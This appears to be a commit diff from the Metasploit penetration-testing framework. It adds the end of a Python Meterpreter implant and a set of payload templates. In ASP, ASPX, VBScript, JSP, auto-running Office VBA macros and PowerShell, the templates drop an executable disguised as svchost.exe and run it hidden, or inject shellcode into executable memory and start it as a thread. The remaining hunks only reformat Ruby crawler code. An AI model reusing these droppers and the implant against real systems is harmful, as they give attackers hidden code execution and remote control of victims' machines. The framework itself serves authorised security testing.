+		handler = 'channel_create_' + channel_type['value']
289
+		if handler not in self.extension_functions:
290
+			return ERROR_FAILURE, response
291
+		handler = self.extension_functions[handler]
292
+		return handler(request, response)
293
+
294
+	def _core_channel_close(self, request, response):
295
+		channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
296
+		if channel_id not in self.channels:
297
+			return ERROR_FAILURE, response
298
+		channel = self.channels[channel_id]
299
+		if isinstance(channel, file):
300
+			channel.close()
301
+		elif isinstance(channel, subprocess.Popen):
302
+			channel.kill()
303
+		elif isinstance(s, socket._socketobject):
304
+			channel.close()
305
+		else:
306
+			return ERROR_FAILURE, response
307
+		del self.channels[channel_id]
308
+		if channel_id in self.interact_channels:
309
+			self.interact_channels.remove(channel_id)
310
+		return ERROR_SUCCESS, response
311
+
312
+	def _core_channel_eof(self, request, response):
313
+		channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
314
+		if channel_id not in self.channels:
315
+			return ERROR_FAILURE, response
316
+		channel = self.channels[channel_id]
317
+		result = False
318
+		if isinstance(channel, file):
319
+			result = channel.tell() == os.fstat(channel.fileno()).st_size
320
+		response += tlv_pack(TLV_TYPE_BOOL, result)
321
+		return ERROR_SUCCESS, response
322
+
323
+	def _core_channel_interact(self, request, response):
324
+		channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
325
+		if channel_id not in self.channels:
326
+			return ERROR_FAILURE, response
327
+		channel = self.channels[channel_id]
328
+		toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
329
+		if toggle:
330
+			if channel_id in self.interact_channels:
331
+				self.interact_channels.remove(channel_id)
332
+			else:
333
+				self.interact_channels.append(channel_id)
334
+		elif channel_id in self.interact_channels:
335
+			self.interact_channels.remove(channel_id)
336
+		return ERROR_SUCCESS, response
337
+
338
+	def _core_channel_read(self, request, response):
339
+		channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
340
+		length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
341
+		if channel_id not in self.channels:
342
+			return ERROR_FAILURE, response
343
+		channel = self.channels[channel_id]
344
+		data = ''
345
+		if isinstance(channel, file):
346
+			data = channel.read(length)
347
+		elif isinstance(channel, STDProcess):
348
+			if channel.poll() != None:
349
+				self.handle_dead_resource_channel(channel_id)
350
+			if channel.stdout_reader.is_read_ready():
351
+				data = channel.stdout_reader.read(length)
352
+		elif isinstance(s, socket._socketobject):
353
+			data = channel.recv(length)
354
+		else:
355
+			return ERROR_FAILURE, response
356
+		response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
357
+		return ERROR_SUCCESS, response
358
+
359
+	def _core_channel_write(self, request, response):
360
+		channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
361
+		channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
362
+		length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
363
+		if channel_id not in self.channels:
364
+			return ERROR_FAILURE, response
365
+		channel = self.channels[channel_id]
366
+		l = len(channel_data)
367
+		if isinstance(channel, file):
368
+			channel.write(channel_data)
369
+		elif isinstance(channel, subprocess.Popen):
370
+			if channel.poll() != None:
371
+				self.handle_dead_resource_channel(channel_id)
372
+				return ERROR_FAILURE, response
373
+			channel.stdin.write(channel_data)
374
+		elif isinstance(s, socket._socketobject):
375
+			try:
376
+				l = channel.send(channel_data)
377
+			except socket.error:
378
+				channel.close()
379
+				self.handle_dead_resource_channel(channel_id)
380
+				return ERROR_FAILURE, response
381
+		else:
382
+			return ERROR_FAILURE, response
383
+		response += tlv_pack(TLV_TYPE_LENGTH, l)
384
+		return ERROR_SUCCESS, response
385
+
386
+	def create_response(self, request):
387
+		resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
388
+		method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
389
+		resp += tlv_pack(method_tlv)
390
+
391
+		reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
392
+		resp += tlv_pack(reqid_tlv)
393
+
394
+		if method_tlv['value'] in self.extension_functions:
395
+			handler = self.extension_functions[method_tlv['value']]
396
+			try:
397
+				result, resp = handler(request, resp)
398
+			except Exception, err:
399
+				result = ERROR_FAILURE
400
+		else:
401
+			result = ERROR_FAILURE
402
+		resp += tlv_pack(TLV_TYPE_RESULT, result)
403
+		resp = struct.pack('>I', len(resp) + 4) + resp
404
+		return resp
405
+
406
+if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
407
+	if hasattr(os, 'setsid'):
408
+		os.setsid()
409
+	met = PythonMeterpreter(s)
410
+	met.run()

BIN
data/meterpreter/metsrv.dll View File


BIN
data/meterpreter/metsrv.x64.dll View File


+ 24
- 0
data/templates/scripts/to_exe.asp.template View File

@@ -0,0 +1,24 @@
1
+<%% @language="VBScript" %%>
2
+<%% 
3
+	Sub %{var_func}()
4
+		%{var_shellcode}
5
+		Dim %{var_obj}
6
+		Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
7
+		Dim %{var_stream}
8
+		Dim %{var_tempdir}
9
+		Dim %{var_tempexe}
10
+		Dim %{var_basedir}
11
+		Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
12
+		%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
13
+		%{var_obj}.CreateFolder(%{var_basedir})
14
+		%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
15
+		Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe},2,0)
16
+		%{var_stream}.Write %{var_bytes}
17
+		%{var_stream}.Close
18
+		Dim %{var_shell}
19
+		Set %{var_shell} = CreateObject("Wscript.Shell")
20
+		%{var_shell}.run %{var_tempexe}, 0, false
21
+	End Sub
22
+
23
+	%{var_func}
24
+%%>

+ 30
- 0
data/templates/scripts/to_exe.aspx.template View File

@@ -0,0 +1,30 @@
1
+<%%@ Page Language="C#" AutoEventWireup="true" %%>
2
+<%%@ Import Namespace="System.IO" %%>
3
+<script runat="server">
4
+	protected void Page_Load(object sender, EventArgs e)
5
+	{
6
+		%{shellcode}
7
+		string %{var_tempdir} = Path.GetTempPath();
8
+		string %{var_basedir} = Path.Combine(%{var_tempdir}, "%{var_filename}");
9
+		string %{var_tempexe} = Path.Combine(%{var_basedir}, "svchost.exe");
10
+		
11
+		Directory.CreateDirectory(%{var_basedir});
12
+		
13
+		FileStream fs = File.Create(%{var_tempexe});
14
+		
15
+		try
16
+		{
17
+			fs.Write(%{var_file}, 0, %{var_file}.Length);
18
+		}
19
+		finally
20
+		{
21
+			if (fs != null) ((IDisposable)fs).Dispose();
22
+		}
23
+
24
+		System.Diagnostics.Process %{var_proc} = new System.Diagnostics.Process();
25
+		%{var_proc}.StartInfo.CreateNoWindow = true;
26
+		%{var_proc}.StartInfo.UseShellExecute = true;
27
+		%{var_proc}.StartInfo.FileName = %{var_tempexe};
28
+		%{var_proc}.Start();
29
+	}
30
+</script>

+ 81
- 0
data/templates/scripts/to_exe.vba.template View File

@@ -0,0 +1,81 @@
1
+'**************************************************************
2
+'*
3
+'* This code is now split into two pieces:
4
+'*  1. The Macro. This must be copied into the Office document
5
+'*     macro editor. This macro will run on startup.
6
+'*
7
+'*  2. The Data. The hex dump at the end of this output must be
8
+'*     appended to the end of the document contents.
9
+'*
10
+'**************************************************************
11
+'*
12
+'* MACRO CODE
13
+'*
14
+'**************************************************************
15
+
16
+Sub Auto_Open()
17
+	%{func_name1}
18
+End Sub
19
+
20
+Sub %{func_name1}()
21
+	Dim %{var_appnr} As Integer
22
+	Dim %{var_fname} As String
23
+	Dim %{var_fenvi} As String
24
+	Dim %{var_fhand} As Integer
25
+	Dim %{var_parag} As Paragraph
26
+	Dim %{var_index} As Integer
27
+	Dim %{var_gotmagic} As Boolean
28
+	Dim %{var_itemp} As Integer
29
+	Dim %{var_stemp} As String
30
+	Dim %{var_btemp} As Byte
31
+	Dim %{var_magic} as String
32
+	%{var_magic} = "%{var_magic}"
33
+	%{var_fname} = "%{filename}.exe"
34
+	%{var_fenvi} = Environ("USERPROFILE")
35
+	ChDrive (%{var_fenvi})
36
+	ChDir (%{var_fenvi})
37
+	%{var_fhand} = FreeFile()
38
+	Open %{var_fname} For Binary As %{var_fhand}
39
+	For Each %{var_parag} in ActiveDocument.Paragraphs
40
+		DoEvents
41
+			%{var_stemp} = %{var_parag}.Range.Text
42
+		If (%{var_gotmagic} = True) Then
43
+			%{var_index} = 1
44
+			While (%{var_index} < Len(%{var_stemp}))
45
+				%{var_btemp} = Mid(%{var_stemp},%{var_index},4)
46
+				Put #%{var_fhand}, , %{var_btemp}
47
+				%{var_index} = %{var_index} + 4
48
+			Wend
49
+		ElseIf (InStr(1,%{var_stemp},%{var_magic}) > 0 And Len(%{var_stemp}) > 0) Then
50
+			%{var_gotmagic} = True
51
+		End If
52
+	Next
53
+	Close #%{var_fhand}
54
+	%{func_name2}(%{var_fname})
55
+End Sub
56
+
57
+Sub %{func_name2}(%{var_farg} As String)
58
+	Dim %{var_appnr} As Integer
59
+	Dim %{var_fenvi} As String
60
+	%{var_fenvi} = Environ("USERPROFILE")
61
+	ChDrive (%{var_fenvi})
62
+	ChDir (%{var_fenvi})
63
+	%{var_appnr} = Shell(%{var_farg}, vbHide)
64
+End Sub
65
+
66
+Sub AutoOpen()
67
+	Auto_Open
68
+End Sub
69
+
70
+Sub Workbook_Open()
71
+	Auto_Open
72
+End Sub
73
+
74
+'**************************************************************
75
+'*
76
+'* PAYLOAD DATA
77
+'*
78
+'**************************************************************
79
+
80
+%{var_magic}
81
+%{data}

+ 24
- 0
data/templates/scripts/to_exe.vbs.template View File

@@ -0,0 +1,24 @@
1
+Function %{var_func}()
2
+%{var_shellcode}
3
+
4
+	Dim %{var_obj}
5
+	Set %{var_obj} = CreateObject("Scripting.FileSystemObject")
6
+	Dim %{var_stream}
7
+	Dim %{var_tempdir}
8
+	Dim %{var_tempexe}
9
+	Dim %{var_basedir}
10
+	Set %{var_tempdir} = %{var_obj}.GetSpecialFolder(2)
11
+	%{var_basedir} = %{var_tempdir} & "\" & %{var_obj}.GetTempName()
12
+	%{var_obj}.CreateFolder(%{var_basedir})
13
+	%{var_tempexe} = %{var_basedir} & "\" & "svchost.exe"
14
+	Set %{var_stream} = %{var_obj}.CreateTextFile(%{var_tempexe}, true , false)
15
+	%{var_stream}.Write %{var_bytes}
16
+	%{var_stream}.Close
17
+	Dim %{var_shell}
18
+	Set %{var_shell} = CreateObject("Wscript.Shell")
19
+	%{var_shell}.run %{var_tempexe}, 0, true
20
+	%{var_obj}.DeleteFile(%{var_tempexe})
21
+	%{var_obj}.DeleteFolder(%{var_basedir})
22
+End Function
23
+
24
+%{init}

+ 49
- 0
data/templates/scripts/to_exe_jsp.war.template View File

@@ -0,0 +1,49 @@
1
+<%%@ page import="java.io.*" %%>
2
+<%%
3
+	String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
4
+	String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
5
+	String %{var_data} = "";
6
+
7
+	if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1)
8
+	{
9
+		%{var_exepath} = %{var_exepath}.concat(".exe");
10
+	}
11
+
12
+	FileInputStream %{var_inputstream} = new FileInputStream(%{var_hexpath});
13
+	FileOutputStream %{var_outputstream} = new FileOutputStream(%{var_exepath});
14
+
15
+	int %{var_numbytes} = %{var_inputstream}.available();
16
+	byte %{var_bytearray}[] = new byte[%{var_numbytes}];
17
+	%{var_inputstream}.read(%{var_bytearray});
18
+	%{var_inputstream}.close();
19
+	byte[] %{var_bytes} = new byte[%{var_numbytes}/2];
20
+	for (int %{var_counter} = 0; %{var_counter} < %{var_numbytes}; %{var_counter} += 2)
21
+	{
22
+		char %{var_char1} = (char) %{var_bytearray}[%{var_counter}];
23
+		char %{var_char2} = (char) %{var_bytearray}[%{var_counter} + 1];
24
+		int %{var_comb} = Character.digit(%{var_char1}, 16) & 0xff;
25
+		%{var_comb} <<= 4;
26
+		%{var_comb} += Character.digit(%{var_char2}, 16) & 0xff;
27
+		%{var_bytes}[%{var_counter}/2] = (byte)%{var_comb};
28
+	}
29
+
30
+	%{var_outputstream}.write(%{var_bytes});
31
+	%{var_outputstream}.close();
32
+
33
+	if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1){
34
+		String[] %{var_fperm} = new String[3];
35
+		%{var_fperm}[0] = "chmod";
36
+		%{var_fperm}[1] = "+x";
37
+		%{var_fperm}[2] = %{var_exepath};
38
+		Process %{var_proc} = Runtime.getRuntime().exec(%{var_fperm});
39
+		if (%{var_proc}.waitFor() == 0) {
40
+			%{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
41
+		}
42
+		
43
+		File %{var_fdel} = new File(%{var_exepath}); %{var_fdel}.delete();
44
+	} 
45
+	else 
46
+	{
47
+		Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
48
+	}
49
+%%>

+ 32
- 0
data/templates/scripts/to_mem.vba.template View File

@@ -0,0 +1,32 @@
1
+#If Vba7 Then
2
+	Private Declare PtrSafe Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As LongPtr, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As LongPtr
3
+	Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As LongPtr
4
+	Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As LongPtr, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As LongPtr
5
+#Else
6
+	Private Declare Function CreateThread Lib "kernel32" (ByVal %{var_lpThreadAttributes} As Long, ByVal %{var_dwStackSize} As Long, ByVal %{var_lpStartAddress} As Long, %{var_lpParameter} As Long, ByVal %{var_dwCreationFlags} As Long, %{var_lpThreadID} As Long) As Long
7
+	Private Declare Function VirtualAlloc Lib "kernel32" (ByVal %{var_lpAddr} As Long, ByVal %{var_lSize} As Long, ByVal %{var_flAllocationType} As Long, ByVal %{var_flProtect} As Long) As Long
8
+	Private Declare Function RtlMoveMemory Lib "kernel32" (ByVal %{var_lDest} As Long, ByRef %{var_Source} As Any, ByVal %{var_Length} As Long) As Long
9
+#EndIf
10
+
11
+Sub Auto_Open()
12
+	Dim %{var_myByte} As Long, %{var_myArray} As Variant, %{var_offset} As Long
13
+#If Vba7 Then
14
+	Dim  %{var_rwxpage} As LongPtr, %{var_res} As LongPtr
15
+#Else
16
+	Dim  %{var_rwxpage} As Long, %{var_res} As Long
17
+#EndIf
18
+	%{bytes}
19
+	%{var_rwxpage} = VirtualAlloc(0, UBound(%{var_myArray}), &H1000, &H40)
20
+	For %{var_offset} = LBound(%{var_myArray}) To UBound(%{var_myArray})
21
+		%{var_myByte} = %{var_myArray}(%{var_offset})
22
+		%{var_res} = RtlMoveMemory(%{var_rwxpage} + %{var_offset}, %{var_myByte}, 1)
23
+	Next %{var_offset}
24
+	%{var_res} = CreateThread(0, 0, %{var_rwxpage}, 0, 0, 0)
25
+End Sub
26
+Sub AutoOpen()
27
+	Auto_Open
28
+End Sub
29
+Sub Workbook_Open()
30
+	Auto_Open
31
+End Sub
32
+

+ 30
- 0
data/templates/scripts/to_mem_dotnet.ps1.template View File

@@ -0,0 +1,30 @@
1
+Set-StrictMode -Version 2
2
+$%{var_syscode} = @"
3
+	using System;
4
+	using System.Runtime.InteropServices;
5
+	namespace %{var_kernel32} {
6
+		public class func {
7
+			[Flags] public enum AllocationType { Commit = 0x1000, Reserve = 0x2000 }
8
+			[Flags] public enum MemoryProtection { ExecuteReadWrite = 0x40 }
9
+			[Flags] public enum Time : uint { Infinite = 0xFFFFFFFF }
10
+			[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
11
+			[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
12
+			[DllImport("kernel32.dll")] public static extern int WaitForSingleObject(IntPtr hHandle, Time dwMilliseconds);
13
+		}
14
+	}
15
+"@
16
+
17
+$%{var_codeProvider} = New-Object Microsoft.CSharp.CSharpCodeProvider
18
+$%{var_compileParams} = New-Object System.CodeDom.Compiler.CompilerParameters
19
+$%{var_compileParams}.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))
20
+$%{var_compileParams}.GenerateInMemory = $True
21
+$%{var_output} = $%{var_codeProvider}.CompileAssemblyFromSource($%{var_compileParams}, $%{var_syscode})
22
+
23
+%{shellcode}
24
+
25
+$%{var_baseaddr} = [%{var_kernel32}.func]::VirtualAlloc(0, $%{var_code}.Length + 1, [%{var_kernel32}.func+AllocationType]::Reserve -bOr [%{var_kernel32}.func+AllocationType]::Commit, [%{var_kernel32}.func+MemoryProtection]::ExecuteReadWrite)
26
+if ([Bool]!$%{var_baseaddr}) { $global:result = 3; return }
27
+[System.Runtime.InteropServices.Marshal]::Copy($%{var_code}, 0, $%{var_baseaddr}, $%{var_code}.Length)
28
+[IntPtr] $%{var_threadHandle} = [%{var_kernel32}.func]::CreateThread(0,0,$%{var_baseaddr},0,0,0)
29
+if ([Bool]!$%{var_threadHandle}) { $global:result = 7; return }
30
+$%{var_temp} = [%{var_kernel32}.func]::WaitForSingleObject($%{var_threadHandle}, [%{var_kernel32}.func+Time]::Infinite)

+ 20
- 0
data/templates/scripts/to_mem_old.ps1.template View File

@@ -0,0 +1,20 @@
1
+$%{var_syscode} = @"
2
+[DllImport("kernel32.dll")]
3
+public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
4
+[DllImport("kernel32.dll")]
5
+public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
6
+[DllImport("msvcrt.dll")]
7
+public static extern IntPtr memset(IntPtr dest, uint src, uint count);
8
+"@
9
+
10
+$%{var_win32_func} = Add-Type -memberDefinition $%{var_syscode} -Name "Win32" -namespace Win32Functions -passthru
11
+
12
+%{shellcode}
13
+
14
+$%{var_rwx} = $%{var_win32_func}::VirtualAlloc(0,0x1000,[Math]::Max($%{var_code}.Length, 0x1000),0x40)
15
+
16
+for ($%{var_iter}=0;$%{var_iter} -le ($%{var_code}.Length-1);$%{var_iter}++) {
17
+	$%{var_win32_func}::memset([IntPtr]($%{var_rwx}.ToInt32()+$%{var_iter}), $%{var_code}[$%{var_iter}], 1) | Out-Null
18
+}
19
+
20
+$%{var_win32_func}::CreateThread(0,0,$%{var_rwx},0,0,0)

+ 2
- 2
lib/anemone/core.rb View File

@@ -298,10 +298,10 @@ module Anemone
298 298
     #
299 299
     # Kills all active threads
300 300
     #
301
-	def shutdown
301
+  def shutdown
302 302
       @tentacles.each {|t| t.kill rescue nil }
303 303
       @pages = nil
304
-	end
304
+  end
305 305
 
306 306
   end
307 307
 end

+ 3
- 3
lib/anemone/extractors/anchors.rb View File

@@ -1,7 +1,7 @@
1 1
 class Anemone::Extractors::Anchors < Anemone::Extractors::Base
2 2
 
3
-	def run
4
-		doc.search( '//a[@href]' ).map { |a| a['href'] }
5
-	end
3
+  def run
4
+    doc.search( '//a[@href]' ).map { |a| a['href'] }
5
+  end
6 6
 
7 7
 end

+ 7
- 7
lib/anemone/extractors/dirbuster.rb View File

@@ -1,12 +1,12 @@
1 1
 class Anemone::Extractors::Dirbuster < Anemone::Extractors::Base
2 2
 
3
-	def run
4
-		return [] if page.code.to_i != 200
3
+  def run
4
+    return [] if page.code.to_i != 200
5 5
 
6
-		@@dirs ||= nil
6
+    @@dirs ||= nil
7 7
 
8
-		return @@dirs if @@dirs
9
-		@@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
10
-	end
11
-	
8
+    return @@dirs if @@dirs
9
+    @@dirs = IO.read( File.dirname( __FILE__ ) + '/dirbuster/directories' ).split( "\n" )
10
+  end
11
+  
12 12
 end

+ 4
- 4
lib/anemone/extractors/forms.rb View File

@@ -1,7 +1,7 @@
1 1
 class Anemone::Extractors::Forms < Anemone::Extractors::Base
2 2
 
3
-	def run
4
-		doc.search( '//form[@action]' ).map { |a| a['action'] }
5
-	end
6
-	
3
+  def run
4
+    doc.search( '//form[@action]' ).map { |a| a['action'] }
5
+  end
6
+  
7 7
 end

+ 3
- 3
lib/anemone/extractors/frames.rb View File

@@ -1,7 +1,7 @@
1 1
 class Anemone::Extractors::Frames < Anemone::Extractors::Base
2 2
 
3
-	def run
4
-		doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
5
-	end
3
+  def run
4
+    doc.css( 'frame', 'iframe' ).map { |a| a.attributes['src'].content rescue next }
5
+  end
6 6
 
7 7
 end

+ 43
- 43
lib/anemone/extractors/generic.rb View File

@@ -2,49 +2,49 @@ require 'uri'
2 2
 
3 3
 class Anemone::Extractors::Generic < Anemone::Extractors::Base
4 4
 
5
-	def run
6
-		URI.extract( doc.to_s, %w(http https) ).map do |u|
7
-			#
8
-			# This extractor needs to be a tiny bit intelligent because
9
-			# due to its generic nature it'll inevitably match some garbage.
10
-			#
11
-			# For example, if some JS code contains:
12
-			#
13
-			#	var = 'http://blah.com?id=1'
14
-			#
15
-			# or
16
-			#
17
-			#	var = { 'http://blah.com?id=1', 1 }
18
-			#
19
-			#
20
-			# The URI.extract call will match:
21
-			#
22
-			#	http://blah.com?id=1'
23
-			#
24
-			# and
25
-			#
26
-			#	http://blah.com?id=1',
27
-			#
28
-			# respectively.
29
-			#
30
-			if !includes_quotes?( u )
31
-				u
32
-			else
33
-				if html.include?( "'#{u}" )
34
-					u.split( '\'' ).first
35
-				elsif html.include?( "\"#{u}" )
36
-					u.split( '"' ).first
37
-				else
38
-					u
39
-				end
40
-			end
41
-		end
42
-	rescue
43
-		[]
44
-	end
5
+  def run
6
+    URI.extract( doc.to_s, %w(http https) ).map do |u|
7
+      #
8
+      # This extractor needs to be a tiny bit intelligent because
9
+      # due to its generic nature it'll inevitably match some garbage.
10
+      #
11
+      # For example, if some JS code contains:
12
+      #
13
+      #	var = 'http://blah.com?id=1'
14
+      #
15
+      # or
16
+      #
17
+      #	var = { 'http://blah.com?id=1', 1 }
18
+      #
19
+      #
20
+      # The URI.extract call will match:
21
+      #
22
+      #	http://blah.com?id=1'
23
+      #
24
+      # and
25
+      #
26
+      #	http://blah.com?id=1',
27
+      #
28
+      # respectively.
29
+      #
30
+      if !includes_quotes?( u )
31
+        u
32
+      else
33
+        if html.include?( "'#{u}" )
34
+          u.split( '\'' ).first
35
+        elsif html.include?( "\"#{u}" )
36
+          u.split( '"' ).first
37
+        else
38
+          u
39
+        end
40
+      end
41
+    end
42
+  rescue
43
+    []
44
+  end
45 45
 
46
-	def includes_quotes?( url )
47
-		url.include?( '\'' ) || url.include?( '"' )
48
-	end
46
+  def includes_quotes?( url )
47
+    url.include?( '\'' ) || url.include?( '"' )
48
+  end
49 49
 
50 50
 end

+ 3
- 3
lib/anemone/extractors/links.rb View File

@@ -1,7 +1,7 @@
1 1
 class Anemone::Extractors::Links < Anemone::Extractors::Base
2 2
 
3
-	def run
4
-		doc.search( "//link[@href]" ).map { |a| a['href'] }
5
-	end
3
+  def run
4
+    doc.search( "//link[@href]" ).map { |a| a['href'] }
5
+  end
6 6
 
7 7
 end

+ 19
- 19
lib/anemone/extractors/meta_refresh.rb View File

@@ -1,24 +1,24 @@
1 1
 class Anemone::Extractors::MetaRefresh < Anemone::Extractors::Base
2 2
 
3
-	def run
4
-		doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
5
-			begin
6
-				_, url = url['content'].split( ';', 2 )
7
-				next if !url
8
-				unquote( url.split( '=', 2 ).last )
9
-			rescue
10
-				next
11
-			end
12
-		end
13
-	rescue
14
-		nil
15
-	end
3
+  def run
4
+    doc.search( "//meta[@http-equiv='refresh']" ).map do |url|
5
+      begin
6
+        _, url = url['content'].split( ';', 2 )
7
+        next if !url
8
+        unquote( url.split( '=', 2 ).last )
9
+      rescue
10
+        next
11
+      end
12
+    end
13
+  rescue
14
+    nil
15
+  end
16 16
 
17
-	def unquote( str )
18
-		[ '\'', '"' ].each do |q|
19
-			return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
20
-		end
21
-		str
22
-	end
17
+  def unquote( str )
18
+    [ '\'', '"' ].each do |q|
19
+      return str[1...-1] if str.start_with?( q ) && str.end_with?( q )
20
+    end
21
+    str
22
+  end
23 23
 
24 24
 end

+ 3
- 3
lib/anemone/extractors/scripts.rb View File

@@ -1,7 +1,7 @@
1 1
 class Anemone::Extractors::Scripts < Anemone::Extractors::Base
2 2
 
3
-	def run
4
-		doc.search( '//script[@src]' ).map { |a| a['src'] }
5
-	end
3
+  def run
4
+    doc.search( '//script[@src]' ).map { |a| a['src'] }
5
+  end
6 6
 
7 7
 end

+ 4
- 4
lib/anemone/page.rb View File

@@ -85,8 +85,8 @@ module Anemone
85 85
     def run_extractors
86 86
       return [] if !doc
87 87
       self.class.extractors.map do |e|
88
-	      next if e == Extractors::Dirbuster && !dirbust?
89
-	      e.new( self ).run rescue next
88
+        next if e == Extractors::Dirbuster && !dirbust?
89
+        e.new( self ).run rescue next
90 90
       end.flatten.
91 91
           compact.map do |p|
92 92
               abs = to_absolute( URI( p ) ) rescue next
@@ -186,7 +186,7 @@ module Anemone
186 186
     end
187 187
 
188 188
     def dirbust?
189
-	    @dirbust
189
+      @dirbust
190 190
     end
191 191
 
192 192
     #
@@ -240,7 +240,7 @@ module Anemone
240 240
     end
241 241
 
242 242
     def dup
243
-	  Marshal.load( Marshal.dump( self ) )
243
+    Marshal.load( Marshal.dump( self ) )
244 244
     end
245 245
 
246 246
   end

+ 23
- 23
lib/anemone/rex_http.rb View File

@@ -51,7 +51,7 @@ module Anemone
51 51
           )
52 52
           # Store the associated raw HTTP request
53 53
           page.request = response.request
54
-		  pages << page
54
+      pages << page
55 55
         end
56 56
 
57 57
         return pages
@@ -162,11 +162,11 @@ module Anemone
162 162
         response = nil
163 163
         request  = nil
164 164
         begin
165
-			conn     = connection(url)
166
-			request  = conn.request_raw(opts)
167
-			response = conn.send_recv(request, @opts[:timeout] || 10 )
168
-		rescue ::Errno::EPIPE, ::Timeout::Error
169
-		end
165
+      conn     = connection(url)
166
+      request  = conn.request_raw(opts)
167
+      response = conn.send_recv(request, @opts[:timeout] || 10 )
168
+    rescue ::Errno::EPIPE, ::Timeout::Error
169
+    end
170 170
 
171 171
         finish = Time.now()
172 172
 
@@ -180,28 +180,28 @@ module Anemone
180 180
     end
181 181
 
182 182
     def connection(url)
183
-		context =  { }
184
-		context['Msf']        = @opts[:framework] if @opts[:framework]
185
-		context['MsfExploit'] = @opts[:module] if @opts[:module]
186
-
187
-		conn = Rex::Proto::Http::Client.new(
188
-			url.host,
189
-			url.port.to_i,
190
-			context,
191
-			url.scheme == "https",
192
-			'SSLv23',
193
-			@opts[:proxies],
183
+    context =  { }
184
+    context['Msf']        = @opts[:framework] if @opts[:framework]
185
+    context['MsfExploit'] = @opts[:module] if @opts[:module]
186
+
187
+    conn = Rex::Proto::Http::Client.new(
188
+      url.host,
189
+      url.port.to_i,
190
+      context,
191
+      url.scheme == "https",
192
+      'SSLv23',
193
+      @opts[:proxies],
194 194
                     @opts[:username],
195 195
                     @opts[:password]
196
-		)
196
+    )
197 197
 
198
-		conn.set_config(
199
-			'vhost'      => virtual_host(url),
200
-			'agent'      => user_agent,
198
+    conn.set_config(
199
+      'vhost'      => virtual_host(url),
200
+      'agent'      => user_agent,
201 201
       'domain'     => @opts[:domain]
202
-		)
202
+    )
203 203
 
204
-		conn
204
+    conn
205 205
     end
206 206
 
207 207
     def verbose?

+ 84
- 84
lib/enumerable.rb View File

@@ -18,98 +18,98 @@
18 18
 #
19 19
 module Enumerable
20 20
 
21
-	class << self
22
-		# Provides the cross-product of two or more Enumerables.
23
-		# This is the class-level method. The instance method
24
-		# calls on this.
25
-		#
26
-		#   Enumerable.cart([1,2], [4], ["apple", "banana"])
27
-		#   #=> [[1, 4, "apple"], [1, 4, "banana"], [2, 4, "apple"], [2, 4, "banana"]]
28
-		#
29
-		#   Enumerable.cart([1,2], [3,4])
30
-		#   #=> [[1, 3], [1, 4], [2, 3], [2, 4]]
21
+  class << self
22
+    # Provides the cross-product of two or more Enumerables.
23
+    # This is the class-level method. The instance method
24
+    # calls on this.
25
+    #
26
+    #   Enumerable.cart([1,2], [4], ["apple", "banana"])
27
+    #   #=> [[1, 4, "apple"], [1, 4, "banana"], [2, 4, "apple"], [2, 4, "banana"]]
28
+    #
29
+    #   Enumerable.cart([1,2], [3,4])
30
+    #   #=> [[1, 3], [1, 4], [2, 3], [2, 4]]
31 31
 
32
-		def cartesian_product(*enums, &block)
33
-			result = [[]]
34
-			while [] != enums
35
-				t, result = result, []
36
-				b, *enums = enums
37
-				t.each do |a|
38
-					b.each do |n|
39
-						result << a + [n]
40
-					end
41
-				end
42
-			end
43
-			if block_given?
44
-				result.each{ |e| block.call(e) }
45
-			else
46
-				result
47
-			end
48
-		end
32
+    def cartesian_product(*enums, &block)
33
+      result = [[]]
34
+      while [] != enums
35
+        t, result = result, []
36
+        b, *enums = enums
37
+        t.each do |a|
38
+          b.each do |n|
39
+            result << a + [n]
40
+          end
41
+        end
42
+      end
43
